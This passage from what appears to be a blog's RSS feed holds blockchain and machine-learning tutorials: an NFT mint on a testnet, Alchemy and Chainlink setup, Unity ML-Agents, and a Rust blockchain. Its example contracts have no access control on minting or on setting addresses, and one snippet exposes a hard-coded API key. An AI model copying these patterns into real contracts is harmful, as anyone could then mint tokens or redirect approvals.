        <span class="hljs-keyword">return</span> <span class="hljs-built_in">super</span>.supportsInterface(interfaceId);
    }
}
</code></pre><p>2.remix <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://remix.ethereum.org/">https://remix.ethereum.org/</a></p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/e7a989d8d6dcbce16e1353893a4949d1df2be633f5993b88d79f60b737604a70.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>3.Remove the onlyowner of safemint, everyone can mint</p><pre data-type="codeBlock" text="    function safeMint(address to, string memory uri) public onlyOwner {
        uint256 tokenId = _tokenIdCounter.current();
        _tokenIdCounter.increment();
        _safeMint(to, tokenId);
        _setTokenURI(tokenId, uri);
    }

    function safeMint(address to, string memory uri) public  {
        uint256 tokenId = _tokenIdCounter.current();
        _tokenIdCounter.increment();
        _safeMint(to, tokenId);
        _setTokenURI(tokenId, uri);
    }
"><code>    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">safeMint</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> to, <span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span> uri</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title">onlyOwner</span> </span>{
        <span class="hljs-keyword">uint256</span> tokenId <span class="hljs-operator">=</span> _tokenIdCounter.current();
        _tokenIdCounter.increment();
        _safeMint(to, tokenId);
        _setTokenURI(tokenId, uri);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">safeMint</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> to, <span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span> uri</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span>  </span>{
        <span class="hljs-keyword">uint256</span> tokenId <span class="hljs-operator">=</span> _tokenIdCounter.current();
        _tokenIdCounter.increment();
        _safeMint(to, tokenId);
        _setTokenURI(tokenId, uri);
    }
</code></pre><p>4.Define a maximum circulation</p><pre data-type="codeBlock" text="    uint256 MAX = 1000;
    function safeMint(address to, string memory uri) public  {
        require(_tokenIdCounter.current() &lt;= MAX, &quot;exceed&quot;);
        uint256 tokenId = _tokenIdCounter.current();
        _tokenIdCounter.increment();
        _safeMint(to, tokenId);
        _setTokenURI(tokenId, uri);
    }
"><code>    <span class="hljs-keyword">uint256</span> MAX <span class="hljs-operator">=</span> <span class="hljs-number">1000</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">safeMint</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> to, <span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span> uri</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span>  </span>{
        <span class="hljs-built_in">require</span>(_tokenIdCounter.current() <span class="hljs-operator">&#x3C;</span><span class="hljs-operator">=</span> MAX, <span class="hljs-string">"exceed"</span>);
        <span class="hljs-keyword">uint256</span> tokenId <span class="hljs-operator">=</span> _tokenIdCounter.current();
        _tokenIdCounter.increment();
        _safeMint(to, tokenId);
        _setTokenURI(tokenId, uri);
    }
</code></pre><p>5.Upload metadata to ipfs</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://console.filebase.com/">https://console.filebase.com/</a></p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/2c127973de15466a9edec3f177d7df97903eff1b3ee4fa1754fc8009926e1d6a.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>6.The format of metadata is json</p><pre data-type="codeBlock" text="{
    &quot;description&quot;: &quot;dragon&quot;, 
    &quot;external_url&quot;: &quot;https://openseacreatures.io/3&quot;, 
    &quot;image&quot;: &quot;https://ipfs.filebase.io/ipfs/QmewcWVm6zmnCEwDzZSanrzdFNdzCF8X4Tfo5Qi87Qdhrf&quot;, 
    &quot;name&quot;: &quot;dragon&quot;,
    &quot;attributes&quot;: [
      {
        &quot;trait_type&quot;: &quot;Base&quot;, 
        &quot;value&quot;: &quot;Starfish&quot;
      }, 
      {
        &quot;trait_type&quot;: &quot;Eyes&quot;, 
        &quot;value&quot;: &quot;Big&quot;
      }, 
      {
        &quot;trait_type&quot;: &quot;Mouth&quot;, 
        &quot;value&quot;: &quot;Surprised&quot;
      }, 
      {
        &quot;trait_type&quot;: &quot;Level&quot;, 
        &quot;value&quot;: 5
      }   
    ]
  }
"><code><span class="hljs-punctuation">{</span>
    <span class="hljs-attr">"description"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"dragon"</span><span class="hljs-punctuation">,</span> 
    <span class="hljs-attr">"external_url"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"https://openseacreatures.io/3"</span><span class="hljs-punctuation">,</span> 
    <span class="hljs-attr">"image"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"https://ipfs.filebase.io/ipfs/QmewcWVm6zmnCEwDzZSanrzdFNdzCF8X4Tfo5Qi87Qdhrf"</span><span class="hljs-punctuation">,</span> 
    <span class="hljs-attr">"name"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"dragon"</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">"attributes"</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
      <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">"trait_type"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"Base"</span><span class="hljs-punctuation">,</span> 
        <span class="hljs-attr">"value"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"Starfish"</span>
      <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span> 
      <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">"trait_type"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"Eyes"</span><span class="hljs-punctuation">,</span> 
        <span class="hljs-attr">"value"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"Big"</span>
      <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span> 
      <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">"trait_type"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"Mouth"</span><span class="hljs-punctuation">,</span> 
        <span class="hljs-attr">"value"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"Surprised"</span>
      <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span> 
      <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">"trait_type"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"Level"</span><span class="hljs-punctuation">,</span> 
        <span class="hljs-attr">"value"</span><span class="hljs-punctuation">:</span> <span class="hljs-number">5</span>
      <span class="hljs-punctuation">}</span>   
    <span class="hljs-punctuation">]</span>
  <span class="hljs-punctuation">}</span>
</code></pre><p>7.Modify the code</p><pre data-type="codeBlock" text="    string  uri=&quot;ipfs://QmPHcbAwnaGkGm939xRzhwXuYVe12iqCKezDccJcmqf8p5&quot;;
    function safeMint(address to) public {
        require(_tokenIdCounter.current() &lt;= MAX, &quot;exceed&quot;);
        uint256 tokenId = _tokenIdCounter.current();
        _tokenIdCounter.increment();
        _safeMint(to, tokenId);
        _setTokenURI(tokenId, uri);
    }
"><code>    <span class="hljs-keyword">string</span>  uri<span class="hljs-operator">=</span><span class="hljs-string">"ipfs://QmPHcbAwnaGkGm939xRzhwXuYVe12iqCKezDccJcmqf8p5"</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">safeMint</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> to</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-built_in">require</span>(_tokenIdCounter.current() <span class="hljs-operator">&#x3C;</span><span class="hljs-operator">=</span> MAX, <span class="hljs-string">"exceed"</span>);
        <span class="hljs-keyword">uint256</span> tokenId <span class="hljs-operator">=</span> _tokenIdCounter.current();
        _tokenIdCounter.increment();
        _safeMint(to, tokenId);
        _setTokenURI(tokenId, uri);
    }
</code></pre><p>8.Create an alchemy account and select the Sepolia testnet</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://dashboard.alchemy.com/">https://dashboard.alchemy.com/</a></p><p>Sepolia <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://sepoliafaucet.com/">https://sepoliafaucet.com/</a></p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/9cb6f8a7c79a1ec2af5360bd81475d9dbb5967b4203294b9b18e07dfe5e6c5b5.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>9.Add alchemy node in metamask</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/7807e23c8a616a04024674c7bba826be0f062dcdbd73ed1161e91a5b5f5219c7.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>10.Compile and enable optimization</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/842a5dfb47afce45916a2ee54c4d8b5e454bec4207c40f8bf0a9c484f0069b67.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>11.Deployment</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/3969bae946b469394a07045958951848e920d3269cffab182299d9667e750617.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>12.Check out <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://testnets.opensea.io/">https://testnets.opensea.io/</a> on test opensea</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/e9197590e8df89c33e20e7c38434a99f4afb257a525071984ddf330505e101b5.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure>]]></content:encoded>
            <author>skka3134@newsletter.paragraph.com (skka3134)</author>
        </item>
        <item>
            <title><![CDATA[Get the latest block with alchemy]]></title>
            <link>https://paragraph.com/@skka3134/get-the-latest-block-with-alchemy</link>
            <guid>ksfFTShGdQOW0Q0pahG1</guid>
            <pubDate>Thu, 27 Jul 2023 13:07:26 GMT</pubDate>
            <description><![CDATA[1.Create an &apos;&apos;app&apos;&apos;, select the test network goerli https://dashboard.alchemy.com/2.Copy apikey3.Create a new project and install alchemy sdk npm init npm install alchemy-sdk 4.Create a file named index.js, and add codeconst { Network, Alchemy } = require("alchemy-sdk"); const settings = { apiKey: "wEDkV89fbvvsbplG8oYhrwnOYG8c3M-C", network: Network.ETH_GOERLI, }; const alchemy = new Alchemy(settings); async function main() { const latestBlock = await alchemy.core.getBlock...]]></description>
            <content:encoded><![CDATA[<p>1.Create an &apos;&apos;app&apos;&apos;, select the test network goerli</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://dashboard.alchemy.com/">https://dashboard.alchemy.com/</a></p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/5b63e01d5a1b2486d23c13f59944c88c52b7f7422fb4f1782bcb5b703c7aa5dc.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>2.Copy apikey</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/473495246e44a83c99e85c7e8f8f261db53fe7c7b373eda86f80adff15e32311.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>3.Create a new project and install alchemy sdk</p><p><code>npm init</code></p><p><code>npm install alchemy-sdk</code></p><p>4.Create a file named index.js, and add code</p><pre data-type="codeBlock" text="const { Network, Alchemy } = require(&quot;alchemy-sdk&quot;);
const settings = {
  apiKey: &quot;wEDkV89fbvvsbplG8oYhrwnOYG8c3M-C&quot;,
  network: Network.ETH_GOERLI,
};
const alchemy = new Alchemy(settings);
async function main() {
  const latestBlock = await alchemy.core.getBlockNumber();
  console.log(&quot;The latest block number is&quot;, latestBlock);
}
main();
"><code>const { Network, Alchemy } <span class="hljs-operator">=</span> <span class="hljs-built_in">require</span>(<span class="hljs-string">"alchemy-sdk"</span>);
const settings <span class="hljs-operator">=</span> {
  apiKey: <span class="hljs-string">"wEDkV89fbvvsbplG8oYhrwnOYG8c3M-C"</span>,
  network: Network.ETH_GOERLI,
};
const alchemy <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> Alchemy(settings);
async <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">main</span>(<span class="hljs-params"></span>) </span>{
  const latestBlock <span class="hljs-operator">=</span> await alchemy.core.getBlockNumber();
  console.log(<span class="hljs-string">"The latest block number is"</span>, latestBlock);
}
main();
</code></pre><p>4.Start!</p><pre data-type="codeBlock" text="node index.js
"><code>node index.js
</code></pre><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/7fc6f4fa57177b4129eaa0db5a6739834b3033c5a1aa20caa72c699817c010a0.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure>]]></content:encoded>
            <author>skka3134@newsletter.paragraph.com (skka3134)</author>
        </item>
        <item>
            <title><![CDATA[Chainlink Automation]]></title>
            <link>https://paragraph.com/@skka3134/chainlink-automation</link>
            <guid>4uMCdWwZJzODzxRW2q5W</guid>
            <pubDate>Thu, 27 Jul 2023 13:04:38 GMT</pubDate>
            <description><![CDATA[Automatically execute one or more functions of the contract according to a fixed time 1.Randomly deploy a contract, get the address and ABI// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeab...]]></description>
            <content:encoded><![CDATA[<p>Automatically execute one or more functions of the contract according to a fixed time</p><p>1.Randomly deploy a contract, get the address and ABI</p><pre data-type="codeBlock" text="// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import &quot;@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol&quot;;
import &quot;@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol&quot;;
import &quot;@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol&quot;;
import &quot;@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol&quot;;
import &quot;@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol&quot;;

contract erc20 is Initializable, ERC20Upgradeable, OwnableUpgradeable {
    using SafeERC20Upgradeable for IERC20Upgradeable;

    /// @custom:oz-upgrades-unsafe-allow constructor
    constructor() {
        _disableInitializers();
    }
    address erc721;
    function initialize() initializer public {
        __ERC20_init(&quot;ZombineCoin&quot;, &quot;ZTC&quot;);
        __Ownable_init();
    }
    function setErc721(address erc721_)public{
        erc721=erc721_;
    }

    function mint(uint second) public  {
        _mint(msg.sender, 100*1e18*second);
    }
    function balance()public view returns(uint256){
        return balanceOf(msg.sender);
    }
    function approveMint()public{
        approve(erc721,100000*1e18);
    }
}
"><code><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.0;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">"@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">erc20</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Initializable</span>, <span class="hljs-title">ERC20Upgradeable</span>, <span class="hljs-title">OwnableUpgradeable</span> </span>{
    <span class="hljs-keyword">using</span> <span class="hljs-title">SafeERC20Upgradeable</span> <span class="hljs-title"><span class="hljs-keyword">for</span></span> <span class="hljs-title">IERC20Upgradeable</span>;

    <span class="hljs-comment">/// @custom:oz-upgrades-unsafe-allow constructor</span>
    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) </span>{
        _disableInitializers();
    }
    <span class="hljs-keyword">address</span> erc721;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">initialize</span>(<span class="hljs-params"></span>) <span class="hljs-title">initializer</span> <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        __ERC20_init(<span class="hljs-string">"ZombineCoin"</span>, <span class="hljs-string">"ZTC"</span>);
        __Ownable_init();
    }
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setErc721</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> erc721_</span>)<span class="hljs-title"><span class="hljs-keyword">public</span></span></span>{
        erc721<span class="hljs-operator">=</span>erc721_;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">mint</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> second</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span>  </span>{
        _mint(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, <span class="hljs-number">100</span><span class="hljs-operator">*</span><span class="hljs-number">1e18</span><span class="hljs-operator">*</span>second);
    }
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">balance</span>(<span class="hljs-params"></span>)<span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>)</span>{
        <span class="hljs-keyword">return</span> balanceOf(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>);
    }
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">approveMint</span>(<span class="hljs-params"></span>)<span class="hljs-title"><span class="hljs-keyword">public</span></span></span>{
        approve(erc721,<span class="hljs-number">100000</span><span class="hljs-operator">*</span><span class="hljs-number">1e18</span>);
    }
}
</code></pre><p>2.Open Chainlink Automation <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://automation.chain.link/goerli">https://automation.chain.link/goerli</a></p><p>Trigger select time-based, fill in the contract address</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/ce608a75f57ac6b83e6459180e40ef62e282fcbdecb2e7345bec4b62eb1f1410.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>3.Select the name of the function you want to execute automatically, and fill in the parameters</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/fbef0de2fc8ecc087d1b9d4af895d6b9616f03cb5b0139cc599fb747c7811412.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>4.Choose how often to execute</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/74cf5b7beca47d00382d62c04bf68288c68729734506c3cd97fbc3d3dc34e725.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>This is a corn expression that can be converted with tools <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="http://cron.ciding.cc/">http://cron.ciding.cc/</a></p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/a77e0bf062a41c99762d48a8db550ea5edb7b7fc8223a06b160cf9273e84ede6.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>5.Choose a name and deposit link tokens</p>]]></content:encoded>
            <author>skka3134@newsletter.paragraph.com (skka3134)</author>
        </item>
        <item>
            <title><![CDATA[Unity Reinforcement Learning: Snake Eater]]></title>
            <link>https://paragraph.com/@skka3134/unity-reinforcement-learning-snake-eater</link>
            <guid>b8Dw0Uv6CDDy1s2dPz0y</guid>
            <pubDate>Thu, 27 Jul 2023 13:00:01 GMT</pubDate>
            <description><![CDATA[Both reinforcement learning and deep learning are subsets of machine learning. The main differences between reinforcement learning and deep learning are: 1.The training samples of deep learning are labeled, and the training of reinforcement learning is unlabeled. It learns through the rewards and punishments given by the environment. 2.The learning process of deep learning is static, while the learning process of reinforcement learning is dynamic. The difference between static and dynamic her...]]></description>
            <content:encoded><![CDATA[<figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/865749e0d278a45a5eeea07a795dda6286507566693fbfce42090d8992da3937.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>Both reinforcement learning and deep learning are subsets of machine learning.</p><p>The main differences between reinforcement learning and deep learning are:</p><p>1.The training samples of deep learning are labeled, and the training of reinforcement learning is unlabeled. It learns through the rewards and punishments given by the environment.</p><p>2.The learning process of deep learning is static, while the learning process of reinforcement learning is dynamic. The difference between static and dynamic here is whether it will interact with the environment, deep learning is to learn whatever is given, and reinforcement learning is to interact with the environment, and then learn through the rewards and punishments given by the environment</p><p>3.Deep learning solves more perceptual problems, while reinforcement learning mainly solves decision-making problems. Therefore, deep learning is more like the five senses, while reinforcement learning is more like the brain.</p><p>ML-Agents is an open source Unity plugin that allows us to train intelligent agents in game environments and simulations.</p><p>1.Download mlagents, don&apos;t ask me why I don&apos;t use version 20</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/Unity-Technologies/ml-agents/releases/tag/release_19">https://github.com/Unity-Technologies/ml-agents/releases/tag/release_19</a></p><p>2.Download conda, (python environment)</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://anaconda.org/anaconda/conda">https://anaconda.org/anaconda/conda</a></p><p>3.Create a conda environment</p><pre data-type="codeBlock" text="conda create -n base1 python=3.8
"><code>conda create -n base1 <span class="hljs-attr">python</span>=<span class="hljs-number">3.8</span>
</code></pre><p>4.Switch to the environment just created</p><pre data-type="codeBlock" text="conda activate base1
"><code></code></pre><p>5.install mlagents</p><pre data-type="codeBlock" text="cd C:\Users\546546\Desktop\ml-agents-release_19\ml-agents-release_19
pip install torch~=1.7.1
pip install -e./ml-agents-envs
pip install -e./ml-agents
pip uninstall protobuf
pip install protobuf==3.19.6
pip uninstall numpy
pip install numpy==1.19
"><code>cd C:\Users\<span class="hljs-number">546546</span>\Desktop\ml<span class="hljs-operator">-</span>agents<span class="hljs-operator">-</span>release_19\ml<span class="hljs-operator">-</span>agents<span class="hljs-operator">-</span>release_19
pip install torch<span class="hljs-operator">~</span><span class="hljs-operator">=</span><span class="hljs-number">1.7</span><span class="hljs-number">.1</span>
pip install <span class="hljs-operator">-</span>e./ml<span class="hljs-operator">-</span>agents<span class="hljs-operator">-</span>envs
pip install <span class="hljs-operator">-</span>e./ml<span class="hljs-operator">-</span>agents
pip uninstall protobuf
pip install protobuf<span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-number">3.19</span><span class="hljs-number">.6</span>
pip uninstall numpy
pip install numpy<span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-number">1.19</span>
</code></pre><p>6.After completing the development of the game logic part, start training</p><pre data-type="codeBlock" text="mlagents-learn config/ppo/ball.yaml --run-id=t1
"><code>mlagents<span class="hljs-operator">-</span>learn config<span class="hljs-operator">/</span>ppo<span class="hljs-operator">/</span>ball.yaml <span class="hljs-operator">-</span><span class="hljs-operator">-</span>run<span class="hljs-operator">-</span>id<span class="hljs-operator">=</span>t1
</code></pre><p>Detailed tutorials can be seen on my youtube teaching <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.youtube.com/watch?v=eNQpujBpGMY&amp;t=13s">https://www.youtube.com/watch?v=eNQpujBpGMY&amp;t=13s</a></p>]]></content:encoded>
            <author>skka3134@newsletter.paragraph.com (skka3134)</author>
        </item>
        <item>
            <title><![CDATA[Develop a simple blockchain with rust]]></title>
            <link>https://paragraph.com/@skka3134/develop-a-simple-blockchain-with-rust</link>
            <guid>l7yXhjWpyhw3X0k5cztn</guid>
            <pubDate>Thu, 27 Jul 2023 12:54:49 GMT</pubDate>
            <description><![CDATA[The simple structure of a blockchain can be simply understood as countless such blocks connected like a chain to form a blockchain.The green part is called the block header, including (pre hash, tx hash, time) The black part and the blue part are called the block body, including (hash, transaction) Where pre hash is the hash of the previous block time represents the transaction time, timestamp The tx hash is used to ensure that the data is not tampered with. The data of each block can theoret...]]></description>
            <content:encoded><![CDATA[<p>The simple structure of a blockchain can be simply understood as countless such blocks connected like a chain to form a blockchain.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/bf8dd989348aade796516982700012d02c13f6561f777f06bb3d941461901aa3.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>The green part is called the block header, including (pre hash, tx hash, time)</p><p>The black part and the blue part are called the block body, including (hash, transaction)</p><p>Where pre hash is the hash of the previous block</p><p>time represents the transaction time, timestamp</p><p>The tx hash is used to ensure that the data is not tampered with. The data of each block can theoretically be tampered with, but the hash will not match after the modification.</p><p>transaction is transaction information</p><p>Finally, there is the hash value of the entire block, which is equivalent to the identification of each block. Similarly, as long as one piece of data in the block is changed, the hash value will change.</p><p>On the code! ! !</p><p>1.First we need to use the package, open the terminal</p><pre data-type="codeBlock" text="cargo add serde 
cargo add bincode
cargo add rust-crypto
cargo add chrono
"><code>cargo <span class="hljs-keyword">add</span> serde 
cargo <span class="hljs-keyword">add</span> bincode
cargo <span class="hljs-keyword">add</span> rust-crypto
cargo <span class="hljs-keyword">add</span> chrono
</code></pre><p>2.The package serde is used for serialization and deserialization. Serialization and deserialization are very common functions, which are extremely common in network transmission and data storage. The general explanation of serialization and deserialization is: seriallization serialization: convert the object into a format that is convenient for transmission, common serialization formats: binary format, byte array, json string, xml string. deseriallization deserialization: the process of restoring serialized data into objects.</p><p>The package bincode is a binary encoding format.</p><p>The package crypto is for hash</p><p>The package chrono is for timestamp</p><p>3.Add the following code at the top</p><pre data-type="codeBlock" text="use bincode;
use serde::{Deserialize, Serialize};
use crypto::digest::Digest;
use crypto::sha3::Sha3;
use chrono::prelude::*;
"><code><span class="hljs-keyword">use</span> bincode;
<span class="hljs-keyword">use</span> serde::{Deserialize, Serialize};
